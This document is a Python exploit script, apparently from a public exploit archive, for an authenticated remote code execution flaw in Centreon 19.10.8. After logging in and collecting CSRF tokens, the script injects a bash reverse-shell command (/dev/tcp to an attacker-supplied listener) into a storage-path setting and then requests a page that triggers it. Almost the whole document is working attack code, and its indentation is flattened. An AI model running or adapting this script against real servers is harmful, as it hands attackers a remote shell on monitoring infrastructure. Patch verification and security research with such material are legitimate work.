# Exploit Title: Centreo 19.10.8 - 'DisplayServiceStatus' Remote Code Execution
# Date: 2020-03-25
# Exploit Author: Engin Demirbilek
# Vendor Homepage: https://www.centreon.com/
# Version: 19.10.8
# Tested on: CentOS
# Advisory link: https://engindemirbilek.github.io/centreon-19.10-rce
# Corresponding pull request on github: https://github.com/centreon/centreon/pull/8467#event-3163627607
#!/usr/bin/python
import requests
import sys
import warnings
from bs4 import BeautifulSoup
warnings.filterwarnings("ignore", category=UserWarning, module='bs4')
if len(sys.argv) < 6:
print "Usage: ./exploit.py http(s)://url username password listenerIP listenerPort"
exit()
url = sys.argv[1]
username = sys.argv[2]
password = sys.argv[3]
ip = sys.argv[4]
port = sys.argv[5]
req = requests.session()
print("[+] Retrieving CSRF token...")
loginPage = req.get(url+"/index.php")
response = loginPage.text
s = BeautifulSoup(response, 'html.parser')
centreon_token = s.find('input', {'name':'centreon_token'})['value']
login_creds = {
"useralias": username,
"password": password,
"submitLogin": "Connect",
"centreon_token": centreon_token
}
print("[+] Sendin login request...")
login = req.post(url+"/index.php", login_creds)
if "incorrect" not in login.text:
print("[+] Logged In, retrieving second token")
page = url + "/main.get.php?p=50118"
second_token_req = req.get(page)
response = second_token_req.text
s = BeautifulSoup(response, 'html.parser')
second_token = s.find('input', {'name':'centreon_token'})['value']
payload = {
"RRDdatabase_path": "/var/lib/centreon/metrics/",
"RRDdatabase_status_path": ";bash -i >& /dev/tcp/{}/{} 0>&1;".format(ip, port),
"RRDdatabase_nagios_stats_path": "/var/lib/centreon/nagios-perf/",
"reporting_retention": "365",
"archive_retention": "31",
"len_storage_mysql": "365",
"len_storage_rrd": "180",
"len_storage_downtimes": "0",
"len_storage_comments": "0",
"partitioning_retention": "365",
"partitioning_retention_forward": "10",
"cpartitioning_backup_directory": "/var/cache/centreon/backup",
"audit_log_option": "1",
"audit_log_retention": "0",
"submitC": "Save",
"gopt_id": "",
"o": "storage",
"o": "storage",
"centreon_token": second_token,
}
print("[+] Sendin payload...")
send_payload = req.post(page, payload)
trigger_url= url + "/include/views/graphs/graphStatus/displayServiceStatus.php"
print("[+] Triggerring payload...")
trigger = req.get(trigger_url)
print("[+] Check your listener !...")
else:
print("[-] Wrong credentials")
exit()
